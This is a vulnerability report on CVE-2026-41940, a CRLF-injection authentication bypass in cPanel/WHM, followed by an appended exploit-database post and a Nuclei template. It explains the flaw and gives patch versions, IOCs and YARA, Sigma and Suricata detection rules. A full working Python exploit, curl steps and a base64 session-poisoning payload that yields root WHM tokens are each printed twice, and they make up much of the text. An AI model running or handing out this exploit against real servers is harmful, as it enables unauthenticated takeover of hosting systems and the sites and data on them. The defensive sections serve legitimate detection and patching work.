CVE-2026-41940

Executive Summary

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel and WHM, affecting all versions prior to the patched releases listed above. The flaw resides in the cpsrvd daemon, which improperly neutralizes CRLF sequences in the whostmgrsession cookie and Authorization header. An unauthenticated remote attacker can inject malicious session parameters (e.g., user=root, hasroot=1, tfa_verified=1) into the server's flat-file session store, forcing the system to issue a valid administrative session token. This grants full root-level access to the WHM interface and underlying operating system without valid credentials.

The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild. Public proof-of-concept (PoC) code and a Nuclei template are available, making this a high-priority threat for all cPanel/WHM administrators.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to gain full administrative control over the server.

Deep Dive & Mechanics

The vulnerability is a CRLF injection (CWE-93) in the cpsrvd daemon's session handling logic. The daemon uses flat files to store session metadata. When processing the whostmgrsession cookie and Authorization header, it fails to sanitize CRLF characters (\r\n). An attacker can inject arbitrary session parameters by embedding CRLF sequences in the base64-decoded Authorization header.

The attack flow is as follows:

1. Pre-auth Session Acquisition: The attacker sends a POST request to /login/?login_only=1 with invalid credentials (e.g., user=root&pass=wrong). The server responds with a Set-Cookie header containing a whostmgrsession cookie. This cookie is a pre-authentication session identifier.

2. Session Poisoning: The attacker sends a GET request to / with the whostmgrsession cookie and a crafted Authorization header. The Authorization header contains a base64-encoded payload that, when decoded, includes CRLF sequences and session parameters:

   root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
   

   The server writes this payload into the session file, effectively injecting user=root, hasroot=1, and tfa_verified=1 into the session metadata.

3. Token Leakage: The server processes the poisoned session and issues a redirect (HTTP 307) to a URL containing a valid cpsess token (e.g., /cpsess1234567890/). This token is extracted from the Location header.

4. Full Access: The attacker uses the leaked token to access the WHM interface with full root privileges. The Nuclei template verifies this by accessing /json-api/version and confirming the response contains version data and no "Access denied" message.

Vulnerable vs. Patched Code

Vulnerable Code (cpsrvd daemon): The vulnerable code does not sanitize CRLF characters in the Authorization header or whostmgrsession cookie. The session file is written directly with the injected parameters.

// Vulnerable pseudocode
void process_session(char *cookie, char *auth_header) {
    char session_file[256];
    snprintf(session_file, sizeof(session_file), "/var/cpanel/sessions/%s", cookie);
    FILE *fp = fopen(session_file, "a");
    fprintf(fp, "%s", auth_header); // No sanitization
    fclose(fp);
}

Patched Code: The patched version sanitizes CRLF characters by rejecting or encoding them before writing to the session file.

// Patched pseudocode
void process_session(char *cookie, char *auth_header) {
    char session_file[256];
    snprintf(session_file, sizeof(session_file), "/var/cpanel/sessions/%s", cookie);
    // Sanitize CRLF
    if (strstr(auth_header, "\r\n") != NULL) {
        // Reject or encode
        return;
    }
    FILE *fp = fopen(session_file, "a");
    fprintf(fp, "%s", auth_header);
    fclose(fp);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running vulnerable cPanel/WHM (versions listed above)
• Network access to port 2087 (WHM) or 2083 (cPanel)

Exploit Steps:

1. Obtain Pre-auth Session:

   curl -k -X POST "https://target:2087/login/?login_only=1" -d "user=root&pass=wrong" -v 2>&1 | grep "Set-Cookie"
   

2. Poison Session and Extract Token: Use the provided Python exploit or the Nuclei template. The Python exploit automates the entire process.

3. Access WHM:

   curl -k "https://target:2087/cpsess1234567890/"
   

Full Exploit Code (from Exploit-DB):

import argparse
import re
import requests
import urllib.parse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

def exploit(target):
    s = requests.Session()
    s.verify = False

    print(f"[*] Initializing attack on {target}...")

    # Stage 1: Obtain pre-auth session base
    try:
        r = s.post(f"{target}/login/?login_only=1", data={"user": "root", "pass": "wrong_pass"}, allow_redirects=False, timeout=10)
        cookie = r.headers.get("Set-Cookie", "")
        match = re.search(r"whostmgrsession=([^;,]+)", cookie)
        if not match:
            print("[-] Error: Could not retrieve whostmgrsession cookie.")
            return
        session_base = urllib.parse.unquote(match.group(1))
        print(f"[+] Obtained session base: {session_base}")

        # Stage 2: Poison session via CRLF Injection
        headers = {
            "Authorization": f"Basic {PAYLOAD_B64}",
            "Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}",
            "Connection": "close"
        }
        r = s.get(f"{target}/", headers=headers, allow_redirects=False, timeout=10)

        # Stage 3: Extract leaked security token
        location = r.headers.get("Location", "")
        token_match = re.search(r"/cpsess\d{10}", location)

        if token_match:
            token = token_match.group(0)
            print(f"[!] EXPLOIT SUCCESSFUL!")
            print(f"[!] Leaked Token: {token}")
            print(f"[!] Access URL: {target}{token}/")
        else:
            print("[-] Exploit failed. The target may be patched or protected by a WAF.")

    except Exception as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="cPanel/WHM CVE-2026-41940 Exploit")
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://192.168.1.1:2087)")
    args = parser.parse_args()
    exploit(args.target.rstrip("/"))

Usage:

python3 exploit.py --target https://target:2087

Blue Team

Detection:

• Monitor for failed login attempts followed by successful session token issuance.
• Look for Authorization headers containing base64-encoded payloads with CRLF sequences.
• Alert on HTTP 307 redirects to /cpsess* URLs from unauthenticated sources.

Hunting:

• Search logs for whostmgrsession cookies with unusual patterns.
• Check for multiple requests to /login/?login_only=1 from the same IP.
• Analyze session files in /var/cpanel/sessions/ for injected parameters.

Containment:

• Immediately apply the patch.
• Block access to WHM/cPanel ports (2087, 2083) from untrusted networks.
• Rotate all administrative passwords and API tokens.
• Review system logs for unauthorized access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /login/?login_only=1 with invalid credentials.
  • HTTP requests to / with Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
  • HTTP 307 redirects to /cpsess* URLs.
  • Successful access to /json-api/version without prior authentication.

• File IOCs:

  • Session files in /var/cpanel/sessions/ containing user=root, hasroot=1, or tfa_verified=1.

• Log IOCs:

  • /var/log/cpanel/access_log entries showing failed login followed by successful session token issuance.
  • /var/log/messages entries related to cpsrvd CRLF injection attempts.

Detection Engineering

YARA Rule

rule CVE_2026_41940_CRLF_Injection {
    meta:
        description = "Detects CRLF injection attempts in cPanel/WHM Authorization headers"
        author = "Valters IT"
        date = "2026-05-01"
        reference = "CVE-2026-41940"
    strings:
        $crlf1 = "user=root"
        $crlf2 = "hasroot=1"
        $crlf3 = "tfa_verified=1"
        $crlf4 = "successful_internal_auth_with_timestamp"
        $b64_payload = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
    condition:
        any of ($crlf*) or $b64_payload
}

Sigma Rule

title: cPanel/WHM Authentication Bypass via CRLF Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-41940
author: Valters IT
date: 2026-05-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
logsource:
    category: webserver
    product: cpanel
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/login/?login_only=1'
        cs-user-agent: '*'
    condition: selection
    falsepositives:
        - Legitimate failed login attempts
    level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 2087 (msg:"CVE-2026-41940 cPanel/WHM Authentication Bypass Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/login/?login_only=1"; http_uri; content:"Authorization|3a| Basic"; http_header; content:"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"; http_header; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2026-41940

info:
  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
  author: watchtowr,hadrian.io,DhiyaneshDk
  severity: critical
  description: |
    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
  impact: |
    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.
  remediation: |
    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.
  reference:
    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"WHM Login"
  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        user=root&pass=wrong

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
          - contains(header, "whostmgrrelogin")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_no_ob
        part: header
        group: 1
        regex:
          - 'whostmgrsession=([^;,]+?)%2[Cc]'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
        Connection: close

    disable-cookie: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 307
          - contains(location, "cpsess")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: cp_token
        part: header
        regex:
          - '(/cpsess\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /scripts2/listaccts HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
        internal: true

  - raw:
      - |
        GET {{cp_token}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"data":{"version":"'
          - '"command":"version"'
          - '"reason":"OK"'
          - '"result":1'
        condition: and

      - type: word
        part: body
        words:
          - "Access denied"
        negative: true

    extractors:
      - type: regex
        part: body
        regex:
          - '"version"\s*:\s*"([^"]+)"'
        group: 1

Remediation & Mitigation

Immediate Actions:

1. Patch: Update cPanel/WHM to the latest patched version:
   • 11.110.0.97
   • 11.118.0.63
   • 11.126.0.54
   • 11.132.0.29
   • 11.134.0.20
   • 11.136.0.5
2. Restrict Access: Limit access to WHM/cPanel ports (2087, 2083) to trusted IP addresses only.
3. Enable WAF: Deploy a Web Application Firewall with rules to detect CRLF injection patterns.
4. Monitor Logs: Review access logs for suspicious activity.

Long-term Measures:

• Implement network segmentation for management interfaces.
• Use multi-factor authentication (MFA) for all administrative access.
• Regularly audit session files for unauthorized modifications.
• Subscribe to cPanel security advisories.

Valters IT Signature

This report was prepared by Valters IT, a leading provider of DevSecOps and Cyber Threat Intelligence services. For more information, visit Valters IT.

# ExploitTitle: cPanel 11.40 - CRLF Injection
# Author: nu11secur1tyAI
# Date: 2026-04-30
# Vendor: cPanel, L.L.C.
# Software: cPanel & WHM (cpsrvd)
# Reference: CVE-2026-41940 / watchTowr-2026-01

## Description:
A critical authentication bypass vulnerability exists in the cPanel/WHM
`cpsrvd` daemon due to improper neutralization of line delimiters (CRLF) in
the `whostmgrsession` cookie and `Authorization` headers. An
unauthenticated remote attacker can leverage this flaw to inject malicious
session parameters directly into the server's flat-file session metadata
store. By injecting sequences such as `user=root`, `hasroot=1`, and
`tfa_verified=1`, the attacker subverts the internal authentication logic,
forcing the system to issue a valid administrative session token
(`/cpsessXXXXXXXXXX/`). This grants the attacker full `root` privileges
over the WHM interface and the host operating system without requiring
valid credentials.

STATUS: MEDIUM - HIGH / Vulnerability

[+] Payload:
```http
GET / HTTP/1.1
Host: [TARGET_HOST]:2087
Authorization: Basic
cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[PREAUTH_SESSION_ID]
Connection: close
```

[+] Exploit (Python):

import argparse
import re
import requests
import urllib.parse
import urllib3

# Disable SSL warnings for cleaner output
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Crafted B64 payload:
#
root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
PAYLOAD_B64 =
"cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

def exploit(target):
    s = requests.Session()
    s.verify = False

    print(f"[*] Initializing attack on {target}...")

    # Stage 1: Obtain pre-auth session base
    try:
        r = s.post(f"{target}/login/?login_only=1", data={"user": "root",
"pass": "wrong_pass"}, allow_redirects=False, timeout=10)
        cookie = r.headers.get("Set-Cookie", "")
        match = re.search(r"whostmgrsession=([^;,]+)", cookie)
        if not match:
            print("[-] Error: Could not retrieve whostmgrsession cookie.")
            return
        session_base = urllib.parse.unquote(match.group(1))
        print(f"[+] Obtained session base: {session_base}")

        # Stage 2: Poison session via CRLF Injection
        headers = {
            "Authorization": f"Basic {PAYLOAD_B64}",
            "Cookie": f"whostmgrsession={urllib.parse.quote(session_base)}",
            "Connection": "close"
        }
        r = s.get(f"{target}/", headers=headers, allow_redirects=False,
timeout=10)

        # Stage 3: Extract leaked security token
        location = r.headers.get("Location", "")
        token_match = re.search(r"/cpsess\d{10}", location)

        if token_match:
            token = token_match.group(0)
            print(f"[!] EXPLOIT SUCCESSFUL!")
            print(f"[!] Leaked Token: {token}")
            print(f"[!] Access URL: {target}{token}/")
        else:
            print("[-] Exploit failed. The target may be patched or
protected by a WAF.")

    except Exception as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="cPanel/WHM CVE-2026-41940
Exploit")
    parser.add_argument("--target", required=True, help="Target URL (e.g.,
[https://192.168.1.1:2087](https://192.168.1.1:2087))")
    args = parser.parse_args()
    exploit(args.target.rstrip("/"))

```
[+]Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2026/CVE-2026-41940

Time spent:
03:45:00

--

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty https://www.asc3t1c-nu11secur1ty.com/

--

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.asc3t1c-nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

id: CVE-2026-41940

info:
  name: cPanel & WHM - Authentication Bypass via Session-File CRLF Injection
  author: watchtowr,hadrian.io,DhiyaneshDk
  severity: critical
  description: |
    cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
  impact: |
    Unauthenticated remote attackers can gain unauthorized access to the control panel, compromising system security.
  remediation: |
    Update to version 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5 or later.
  reference:
    - https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026
    - https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
    - https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
    - https://hadrian.io/blog/cve-2026-41940-a-critical-authentication-bypass-in-cpanel
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41940
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"WHM Login"
  tags: cve,cve2026,cpanel,whm,auth-bypass,crlf,vkev,kev

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /login/?login_only=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        user=root&pass=wrong

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
          - contains(header, "whostmgrrelogin")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: session_no_ob
        part: header
        group: 1
        regex:
          - 'whostmgrsession=([^;,]+?)%2[Cc]'
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ0K
        Connection: close

    disable-cookie: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 307
          - contains(location, "cpsess")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: cp_token
        part: header
        regex:
          - '(/cpsess\d+)'
        group: 1
        internal: true

  - raw:
      - |
        GET /scripts2/listaccts HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - status_code == 401
        internal: true

  - raw:
      - |
        GET {{cp_token}}/json-api/version HTTP/1.1
        Host: {{Hostname}}
        Cookie: whostmgrsession={{session_no_ob}}
        Connection: close

    disable-cookie: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"data":{"version":"'
          - '"command":"version"'
          - '"reason":"OK"'
          - '"result":1'
        condition: and

      - type: word
        part: body
        words:
          - "Access denied"
        negative: true

    extractors:
      - type: regex
        part: body
        regex:
          - '"version"\s*:\s*"([^"]+)"'
        group: 1
# digest: 4a0a0047304502210098e6519f1bb914c591c5866e3dac8634dbba23872e0f635932c2ab27b0f85b42022076c85d358278af29144eac0bb78a3edc0a191dc13e1d7824d34e471d265eff56:922c64590222798bb761d5b6d8e72950